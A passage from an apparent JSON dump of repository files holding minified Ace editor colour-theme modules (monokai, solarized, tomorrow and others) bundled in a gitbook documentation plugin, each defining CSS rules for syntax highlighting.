.ace_selected-word {border: 1px solid rgba(145, 153, 148, 0.40)}.ace-mono-industrial .ace_invisible {color: rgba(102, 108, 104, 0.50)}.ace-mono-industrial .ace_string {background-color: #151C19;color: #FFFFFF}.ace-mono-industrial .ace_keyword,.ace-mono-industrial .ace_meta {color: #A39E64}.ace-mono-industrial .ace_constant,.ace-mono-industrial .ace_constant.ace_character,.ace-mono-industrial .ace_constant.ace_character.ace_escape,.ace-mono-industrial .ace_constant.ace_numeric,.ace-mono-industrial .ace_constant.ace_other {color: #E98800}.ace-mono-industrial .ace_entity.ace_name.ace_function,.ace-mono-industrial .ace_keyword.ace_operator,.ace-mono-industrial .ace_variable {color: #A8B3AB}.ace-mono-industrial .ace_invalid {color: #FFFFFF;background-color: rgba(153, 0, 0, 0.68)}.ace-mono-industrial .ace_support.ace_constant {color: #C87500}.ace-mono-industrial .ace_fold {background-color: #A8B3AB;border-color: #FFFFFF}.ace-mono-industrial .ace_support.ace_function {color: #588E60}.ace-mono-industrial .ace_entity.ace_name,.ace-mono-industrial .ace_support.ace_class,.ace-mono-industrial .ace_support.ace_type {color: #5778B6}.ace-mono-industrial .ace_storage {color: #C23B00}.ace-mono-industrial .ace_variable.ace_language,.ace-mono-industrial .ace_variable.ace_parameter {color: #648BD2}.ace-mono-industrial .ace_comment {color: #666C68;background-color: #151C19}.ace-mono-industrial .ace_entity.ace_other.ace_attribute-name {color: #909993}.ace-mono-industrial .ace_entity.ace_name.ace_tag {color: #A65EFF}.ace-mono-industrial .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNQ1NbwZfALD/4PAAlTArlEC4r/AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-monokai.js",
    "content": "define(\"ace/theme/monokai\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-monokai\",t.cssText=\".ace-monokai .ace_gutter {background: #2F3129;color: #8F908A}.ace-monokai .ace_print-margin {width: 1px;background: #555651}.ace-monokai {background-color: #272822;color: #F8F8F2}.ace-monokai .ace_cursor {color: #F8F8F0}.ace-monokai .ace_marker-layer .ace_selection {background: #49483E}.ace-monokai.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #272822;}.ace-monokai .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-monokai .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #49483E}.ace-monokai .ace_marker-layer .ace_active-line {background: #202020}.ace-monokai .ace_gutter-active-line {background-color: #272727}.ace-monokai .ace_marker-layer .ace_selected-word {border: 1px solid #49483E}.ace-monokai .ace_invisible {color: #52524d}.ace-monokai .ace_entity.ace_name.ace_tag,.ace-monokai .ace_keyword,.ace-monokai .ace_meta.ace_tag,.ace-monokai .ace_storage {color: #F92672}.ace-monokai .ace_punctuation,.ace-monokai .ace_punctuation.ace_tag {color: #fff}.ace-monokai .ace_constant.ace_character,.ace-monokai .ace_constant.ace_language,.ace-monokai .ace_constant.ace_numeric,.ace-monokai .ace_constant.ace_other {color: #AE81FF}.ace-monokai .ace_invalid {color: #F8F8F0;background-color: #F92672}.ace-monokai .ace_invalid.ace_deprecated {color: #F8F8F0;background-color: #AE81FF}.ace-monokai .ace_support.ace_constant,.ace-monokai .ace_support.ace_function {color: #66D9EF}.ace-monokai .ace_fold {background-color: #A6E22E;border-color: #F8F8F2}.ace-monokai .ace_storage.ace_type,.ace-monokai .ace_support.ace_class,.ace-monokai .ace_support.ace_type {font-style: italic;color: #66D9EF}.ace-monokai .ace_entity.ace_name.ace_function,.ace-monokai .ace_entity.ace_other,.ace-monokai .ace_entity.ace_other.ace_attribute-name,.ace-monokai .ace_variable {color: #A6E22E}.ace-monokai .ace_variable.ace_parameter {font-style: italic;color: #FD971F}.ace-monokai .ace_string {color: #E6DB74}.ace-monokai .ace_comment {color: #75715E}.ace-monokai .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWPQ0FD0ZXBzd/wPAAjVAoxeSgNeAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-pastel_on_dark.js",
    "content": "define(\"ace/theme/pastel_on_dark\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-pastel-on-dark\",t.cssText=\".ace-pastel-on-dark .ace_gutter {background: #353030;color: #8F938F}.ace-pastel-on-dark .ace_print-margin {width: 1px;background: #353030}.ace-pastel-on-dark {background-color: #2C2828;color: #8F938F}.ace-pastel-on-dark .ace_cursor {color: #A7A7A7}.ace-pastel-on-dark .ace_marker-layer .ace_selection {background: rgba(221, 240, 255, 0.20)}.ace-pastel-on-dark.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #2C2828;}.ace-pastel-on-dark .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-pastel-on-dark .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.25)}.ace-pastel-on-dark .ace_marker-layer .ace_active-line {background: rgba(255, 255, 255, 0.031)}.ace-pastel-on-dark .ace_gutter-active-line {background-color: rgba(255, 255, 255, 0.031)}.ace-pastel-on-dark .ace_marker-layer .ace_selected-word {border: 1px solid rgba(221, 240, 255, 0.20)}.ace-pastel-on-dark .ace_invisible {color: rgba(255, 255, 255, 0.25)}.ace-pastel-on-dark .ace_keyword,.ace-pastel-on-dark .ace_meta {color: #757aD8}.ace-pastel-on-dark .ace_constant,.ace-pastel-on-dark .ace_constant.ace_character,.ace-pastel-on-dark .ace_constant.ace_character.ace_escape,.ace-pastel-on-dark .ace_constant.ace_other {color: #4FB7C5}.ace-pastel-on-dark .ace_keyword.ace_operator {color: #797878}.ace-pastel-on-dark .ace_constant.ace_character {color: #AFA472}.ace-pastel-on-dark .ace_constant.ace_language {color: #DE8E30}.ace-pastel-on-dark .ace_constant.ace_numeric {color: #CCCCCC}.ace-pastel-on-dark .ace_invalid,.ace-pastel-on-dark .ace_invalid.ace_illegal {color: #F8F8F8;background-color: rgba(86, 45, 86, 0.75)}.ace-pastel-on-dark .ace_invalid.ace_deprecated {text-decoration: underline;font-style: italic;color: #D2A8A1}.ace-pastel-on-dark .ace_fold {background-color: #757aD8;border-color: #8F938F}.ace-pastel-on-dark .ace_support.ace_function {color: #AEB2F8}.ace-pastel-on-dark .ace_string {color: #66A968}.ace-pastel-on-dark .ace_string.ace_regexp {color: #E9C062}.ace-pastel-on-dark .ace_comment {color: #A6C6FF}.ace-pastel-on-dark .ace_variable {color: #BEBF55}.ace-pastel-on-dark .ace_variable.ace_language {color: #C1C144}.ace-pastel-on-dark .ace_xml-pe {color: #494949}.ace-pastel-on-dark .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYIiPj/8PAARgAh2NTMh8AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-solarized_dark.js",
    "content": "define(\"ace/theme/solarized_dark\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-solarized-dark\",t.cssText=\".ace-solarized-dark .ace_gutter {background: #01313f;color: #d0edf7}.ace-solarized-dark .ace_print-margin {width: 1px;background: #33555E}.ace-solarized-dark {background-color: #002B36;color: #93A1A1}.ace-solarized-dark .ace_entity.ace_other.ace_attribute-name,.ace-solarized-dark .ace_storage {color: #93A1A1}.ace-solarized-dark .ace_cursor,.ace-solarized-dark .ace_string.ace_regexp {color: #D30102}.ace-solarized-dark .ace_marker-layer .ace_active-line,.ace-solarized-dark .ace_marker-layer .ace_selection {background: rgba(255, 255, 255, 0.1)}.ace-solarized-dark.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #002B36;}.ace-solarized-dark .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-solarized-dark .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(147, 161, 161, 0.50)}.ace-solarized-dark .ace_gutter-active-line {background-color: #0d3440}.ace-solarized-dark .ace_marker-layer .ace_selected-word {border: 1px solid #073642}.ace-solarized-dark .ace_invisible {color: rgba(147, 161, 161, 0.50)}.ace-solarized-dark .ace_keyword,.ace-solarized-dark .ace_meta,.ace-solarized-dark .ace_support.ace_class,.ace-solarized-dark .ace_support.ace_type {color: #859900}.ace-solarized-dark .ace_constant.ace_character,.ace-solarized-dark .ace_constant.ace_other {color: #CB4B16}.ace-solarized-dark .ace_constant.ace_language {color: #B58900}.ace-solarized-dark .ace_constant.ace_numeric {color: #D33682}.ace-solarized-dark .ace_fold {background-color: #268BD2;border-color: #93A1A1}.ace-solarized-dark .ace_entity.ace_name.ace_function,.ace-solarized-dark .ace_entity.ace_name.ace_tag,.ace-solarized-dark .ace_support.ace_function,.ace-solarized-dark .ace_variable,.ace-solarized-dark .ace_variable.ace_language {color: #268BD2}.ace-solarized-dark .ace_string {color: #2AA198}.ace-solarized-dark .ace_comment {font-style: italic;color: #657B83}.ace-solarized-dark .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNg0Db1ZVCxc/sPAAd4AlUHlLenAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-solarized_light.js",
    "content": "define(\"ace/theme/solarized_light\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-solarized-light\",t.cssText=\".ace-solarized-light .ace_gutter {background: #fbf1d3;color: #333}.ace-solarized-light .ace_print-margin {width: 1px;background: #e8e8e8}.ace-solarized-light {background-color: #FDF6E3;color: #586E75}.ace-solarized-light .ace_cursor {color: #000000}.ace-solarized-light .ace_marker-layer .ace_selection {background: rgba(7, 54, 67, 0.09)}.ace-solarized-light.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FDF6E3;}.ace-solarized-light .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-solarized-light .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(147, 161, 161, 0.50)}.ace-solarized-light .ace_marker-layer .ace_active-line {background: #EEE8D5}.ace-solarized-light .ace_gutter-active-line {background-color : #EDE5C1}.ace-solarized-light .ace_marker-layer .ace_selected-word {border: 1px solid #073642}.ace-solarized-light .ace_invisible {color: rgba(147, 161, 161, 0.50)}.ace-solarized-light .ace_keyword,.ace-solarized-light .ace_meta,.ace-solarized-light .ace_support.ace_class,.ace-solarized-light .ace_support.ace_type {color: #859900}.ace-solarized-light .ace_constant.ace_character,.ace-solarized-light .ace_constant.ace_other {color: #CB4B16}.ace-solarized-light .ace_constant.ace_language {color: #B58900}.ace-solarized-light .ace_constant.ace_numeric {color: #D33682}.ace-solarized-light .ace_fold {background-color: #268BD2;border-color: #586E75}.ace-solarized-light .ace_entity.ace_name.ace_function,.ace-solarized-light .ace_entity.ace_name.ace_tag,.ace-solarized-light .ace_support.ace_function,.ace-solarized-light .ace_variable,.ace-solarized-light .ace_variable.ace_language {color: #268BD2}.ace-solarized-light .ace_storage {color: #073642}.ace-solarized-light .ace_string {color: #2AA198}.ace-solarized-light .ace_string.ace_regexp {color: #D30102}.ace-solarized-light .ace_comment,.ace-solarized-light .ace_entity.ace_other.ace_attribute-name {color: #93A1A1}.ace-solarized-light .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHjy8NJ/AAjgA5fzQUmBAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-sqlserver.js",
    "content": "define(\"ace/theme/sqlserver\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-sqlserver\",t.cssText='.ace-sqlserver .ace_gutter {background: #ebebeb;color: #333;overflow: hidden;}.ace-sqlserver .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-sqlserver {background-color: #FFFFFF;color: black;}.ace-sqlserver .ace_identifier {color: black;}.ace-sqlserver .ace_keyword {color: #0000FF;}.ace-sqlserver .ace_numeric {color: black;}.ace-sqlserver .ace_storage {color: #11B7BE;}.ace-sqlserver .ace_keyword.ace_operator,.ace-sqlserver .ace_lparen,.ace-sqlserver .ace_rparen,.ace-sqlserver .ace_punctuation {color: #808080;}.ace-sqlserver .ace_set.ace_statement {color: #0000FF;text-decoration: underline;}.ace-sqlserver .ace_cursor {color: black;}.ace-sqlserver .ace_invisible {color: rgb(191, 191, 191);}.ace-sqlserver .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-sqlserver .ace_constant.ace_language {color: #979797;}.ace-sqlserver .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-sqlserver .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-sqlserver .ace_support.ace_function {color: #FF00FF;}.ace-sqlserver .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-sqlserver .ace_class {color: #008080;}.ace-sqlserver .ace_support.ace_other {color: #6D79DE;}.ace-sqlserver .ace_variable.ace_parameter {font-style: italic;color: #FD971F;}.ace-sqlserver .ace_comment {color: #008000;}.ace-sqlserver .ace_constant.ace_numeric {color: black;}.ace-sqlserver .ace_variable {color: rgb(49, 132, 149);}.ace-sqlserver .ace_xml-pe {color: rgb(104, 104, 91);}.ace-sqlserver .ace_support.ace_storedprocedure {color: #800000;}.ace-sqlserver .ace_heading {color: rgb(12, 7, 255);}.ace-sqlserver .ace_list {color: rgb(185, 6, 144);}.ace-sqlserver .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-sqlserver .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-sqlserver .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-sqlserver .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-sqlserver .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-sqlserver .ace_gutter-active-line {background-color: #dcdcdc;}.ace-sqlserver .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-sqlserver .ace_meta.ace_tag {color: #0000FF;}.ace-sqlserver .ace_string.ace_regex {color: #FF0000;}.ace-sqlserver .ace_string {color: #FF0000;}.ace-sqlserver .ace_entity.ace_other.ace_attribute-name {color: #994409;}.ace-sqlserver .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-terminal.js",
    "content": "define(\"ace/theme/terminal\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-terminal-theme\",t.cssText=\".ace-terminal-theme .ace_gutter {background: #1a0005;color: steelblue}.ace-terminal-theme .ace_print-margin {width: 1px;background: #1a1a1a}.ace-terminal-theme {background-color: black;color: #DEDEDE}.ace-terminal-theme .ace_cursor {color: #9F9F9F}.ace-terminal-theme .ace_marker-layer .ace_selection {background: #424242}.ace-terminal-theme.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px black;}.ace-terminal-theme .ace_marker-layer .ace_step {background: rgb(0, 0, 0)}.ace-terminal-theme .ace_marker-layer .ace_bracket {background: #090;}.ace-terminal-theme .ace_marker-layer .ace_bracket-start {background: #090;}.ace-terminal-theme .ace_marker-layer .ace_bracket-unmatched {margin: -1px 0 0 -1px;border: 1px solid #900}.ace-terminal-theme .ace_marker-layer .ace_active-line {background: #2A2A2A}.ace-terminal-theme .ace_gutter-active-line {background-color: #2A112A}.ace-terminal-theme .ace_marker-layer .ace_selected-word {border: 1px solid #424242}.ace-terminal-theme .ace_invisible {color: #343434}.ace-terminal-theme .ace_keyword,.ace-terminal-theme .ace_meta,.ace-terminal-theme .ace_storage,.ace-terminal-theme .ace_storage.ace_type,.ace-terminal-theme .ace_support.ace_type {color: tomato}.ace-terminal-theme .ace_keyword.ace_operator {color: deeppink}.ace-terminal-theme .ace_constant.ace_character,.ace-terminal-theme .ace_constant.ace_language,.ace-terminal-theme .ace_constant.ace_numeric,.ace-terminal-theme .ace_keyword.ace_other.ace_unit,.ace-terminal-theme .ace_support.ace_constant,.ace-terminal-theme .ace_variable.ace_parameter {color: #E78C45}.ace-terminal-theme .ace_constant.ace_other {color: gold}.ace-terminal-theme .ace_invalid {color: yellow;background-color: red}.ace-terminal-theme .ace_invalid.ace_deprecated {color: #CED2CF;background-color: #B798BF}.ace-terminal-theme .ace_fold {background-color: #7AA6DA;border-color: #DEDEDE}.ace-terminal-theme .ace_entity.ace_name.ace_function,.ace-terminal-theme .ace_support.ace_function,.ace-terminal-theme .ace_variable {color: #7AA6DA}.ace-terminal-theme .ace_support.ace_class,.ace-terminal-theme .ace_support.ace_type {color: #E7C547}.ace-terminal-theme .ace_heading,.ace-terminal-theme .ace_string {color: #B9CA4A}.ace-terminal-theme .ace_entity.ace_name.ace_tag,.ace-terminal-theme .ace_entity.ace_other.ace_attribute-name,.ace-terminal-theme .ace_meta.ace_tag,.ace-terminal-theme .ace_string.ace_regexp,.ace-terminal-theme .ace_variable {color: #D54E53}.ace-terminal-theme .ace_comment {color: orangered}.ace-terminal-theme .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYLBWV/8PAAK4AYnhiq+xAAAAAElFTkSuQmCC) right repeat-y;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-textmate.js",
    "content": "define(\"ace/theme/textmate\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssClass=\"ace-tm\",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-tomorrow.js",
    "content": "define(\"ace/theme/tomorrow\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-tomorrow\",t.cssText=\".ace-tomorrow .ace_gutter {background: #f6f6f6;color: #4D4D4C}.ace-tomorrow .ace_print-margin {width: 1px;background: #f6f6f6}.ace-tomorrow {background-color: #FFFFFF;color: #4D4D4C}.ace-tomorrow .ace_cursor {color: #AEAFAD}.ace-tomorrow .ace_marker-layer .ace_selection {background: #D6D6D6}.ace-tomorrow.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FFFFFF;}.ace-tomorrow .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-tomorrow .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #D1D1D1}.ace-tomorrow .ace_marker-layer .ace_active-line {background: #EFEFEF}.ace-tomorrow .ace_gutter-active-line {background-color : #dcdcdc}.ace-tomorrow .ace_marker-layer .ace_selected-word {border: 1px solid #D6D6D6}.ace-tomorrow .ace_invisible {color: #D1D1D1}.ace-tomorrow .ace_keyword,.ace-tomorrow .ace_meta,.ace-tomorrow .ace_storage,.ace-tomorrow .ace_storage.ace_type,.ace-tomorrow .ace_support.ace_type {color: #8959A8}.ace-tomorrow .ace_keyword.ace_operator {color: #3E999F}.ace-tomorrow .ace_constant.ace_character,.ace-tomorrow .ace_constant.ace_language,.ace-tomorrow .ace_constant.ace_numeric,.ace-tomorrow .ace_keyword.ace_other.ace_unit,.ace-tomorrow .ace_support.ace_constant,.ace-tomorrow .ace_variable.ace_parameter {color: #F5871F}.ace-tomorrow .ace_constant.ace_other {color: #666969}.ace-tomorrow .ace_invalid {color: #FFFFFF;background-color: #C82829}.ace-tomorrow .ace_invalid.ace_deprecated {color: #FFFFFF;background-color: #8959A8}.ace-tomorrow .ace_fold {background-color: #4271AE;border-color: #4D4D4C}.ace-tomorrow .ace_entity.ace_name.ace_function,.ace-tomorrow .ace_support.ace_function,.ace-tomorrow .ace_variable {color: #4271AE}.ace-tomorrow .ace_support.ace_class,.ace-tomorrow .ace_support.ace_type {color: #C99E00}.ace-tomorrow .ace_heading,.ace-tomorrow .ace_markup.ace_heading,.ace-tomorrow .ace_string {color: #718C00}.ace-tomorrow .ace_entity.ace_name.ace_tag,.ace-tomorrow .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow .ace_meta.ace_tag,.ace-tomorrow .ace_string.ace_regexp,.ace-tomorrow .ace_variable {color: #C82829}.ace-tomorrow .ace_comment {color: #8E908C}.ace-tomorrow .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bdu3f/BwAlfgctduB85QAAAABJRU5ErkJggg==) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-tomorrow_night.js",
    "content": "define(\"ace/theme/tomorrow_night\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night\",t.cssText=\".ace-tomorrow-night .ace_gutter {background: #25282c;color: #C5C8C6}.ace-tomorrow-night .ace_print-margin {width: 1px;background: #25282c}.ace-tomorrow-night {background-color: #1D1F21;color: #C5C8C6}.ace-tomorrow-night .ace_cursor {color: #AEAFAD}.ace-tomorrow-night .ace_marker-layer .ace_selection {background: #373B41}.ace-tomorrow-night.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #1D1F21;}.ace-tomorrow-night .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-tomorrow-night .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #4B4E55}.ace-tomorrow-night .ace_marker-layer .ace_active-line {background: #282A2E}.ace-tomorrow-night .ace_gutter-active-line {background-color: #282A2E}.ace-tomorrow-night .ace_marker-layer .ace_selected-word {border: 1px solid #373B41}.ace-tomorrow-night .ace_invisible {color: #4B4E55}.ace-tomorrow-night .ace_keyword,.ace-tomorrow-night .ace_meta,.ace-tomorrow-night .ace_storage,.ace-tomorrow-night .ace_storage.ace_type,.ace-tomorrow-night .ace_support.ace_type {color: #B294BB}.ace-tomorrow-night .ace_keyword.ace_operator {color: #8ABEB7}.ace-tomorrow-night .ace_constant.ace_character,.ace-tomorrow-night .ace_constant.ace_language,.ace-tomorrow-night .ace_constant.ace_numeric,.ace-tomorrow-night .ace_keyword.ace_other.ace_unit,.ace-tomorrow-night .ace_support.ace_constant,.ace-tomorrow-night .ace_variable.ace_parameter {color: #DE935F}.ace-tomorrow-night .ace_constant.ace_other {color: #CED1CF}.ace-tomorrow-night .ace_invalid {color: #CED2CF;background-color: #DF5F5F}.ace-tomorrow-night .ace_invalid.ace_deprecated {color: #CED2CF;background-color: #B798BF}.ace-tomorrow-night .ace_fold {background-color: #81A2BE;border-color: #C5C8C6}.ace-tomorrow-night .ace_entity.ace_name.ace_function,.ace-tomorrow-night .ace_support.ace_function,.ace-tomorrow-night .ace_variable {color: #81A2BE}.ace-tomorrow-night .ace_support.ace_class,.ace-tomorrow-night .ace_support.ace_type {color: #F0C674}.ace-tomorrow-night .ace_heading,.ace-tomorrow-night .ace_markup.ace_heading,.ace-tomorrow-night .ace_string {color: #B5BD68}.ace-tomorrow-night .ace_entity.ace_name.ace_tag,.ace-tomorrow-night .ace_entity.ace_other.ace_attribute-name,.ace-tomorrow-night .ace_meta.ace_tag,.ace-tomorrow-night .ace_string.ace_regexp,.ace-tomorrow-night .ace_variable {color: #CC6666}.ace-tomorrow-night .ace_comment {color: #969896}.ace-tomorrow-night .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHB3d/8PAAOIAdULw8qMAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-tomorrow_night_blue.js",
    "content": "define(\"ace/theme/tomorrow_night_blue\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-tomorrow-night-blue\",t.cssText=\".ace-tomorrow-night-blue .ace_gutter {background: #00204b;color: #7388b5}.ace-tomorrow-night-blue .ace_print-margin {width: 1px;background: #00204b}.ace-tomorrow-night-blue {background-color: #002451;color: #FFFFFF}.ace-tomorrow-night-blue .ace_constant.ace_other,.ace-tomorrow-night-blue .ace_cursor {color: #FFFFFF}.ace-tomorrow-night-blue .ace_marker-layer .ace_selection {background: #003F8E}.ace-tomorrow-night-blue.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #002451;}.ace-tomorrow-night-blue .ace_marker-layer .ace_step {background: rgb(127, 111, 19)}.ace-tomorrow-night-blue .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404F7D}.ace-tomorrow-night-blue .ace_marker-layer .ace_active-line {background: #00346E}.ace-tomorrow-night-blue .ace_gutter-active-line {background-color: #022040}.ace-tomorrow-night-blue .ace_marker-layer .ace_selected-word {border: 1px solid #003F8E}.ace-tomorrow-night-blue .ace_invisible {color: #404F7D}.ace-tomorrow-night-blue .ace_keyword,.ace-tomorrow-night-blue .ace_meta,.ace-tomorrow-night-blue .ace_storage,.ace-tomorrow-night-blue .ace_storage.ace_type,.ace-tomorrow-night-blue .ace_support.ace_type {color: #EBBBFF}.ace-tomorrow-night-blue .ace_keyword.ace_operator {color: #99FFFF}.ace-tomorrow-night-blue .ace_constant.ace_character,.ace-tomorrow-night-blue 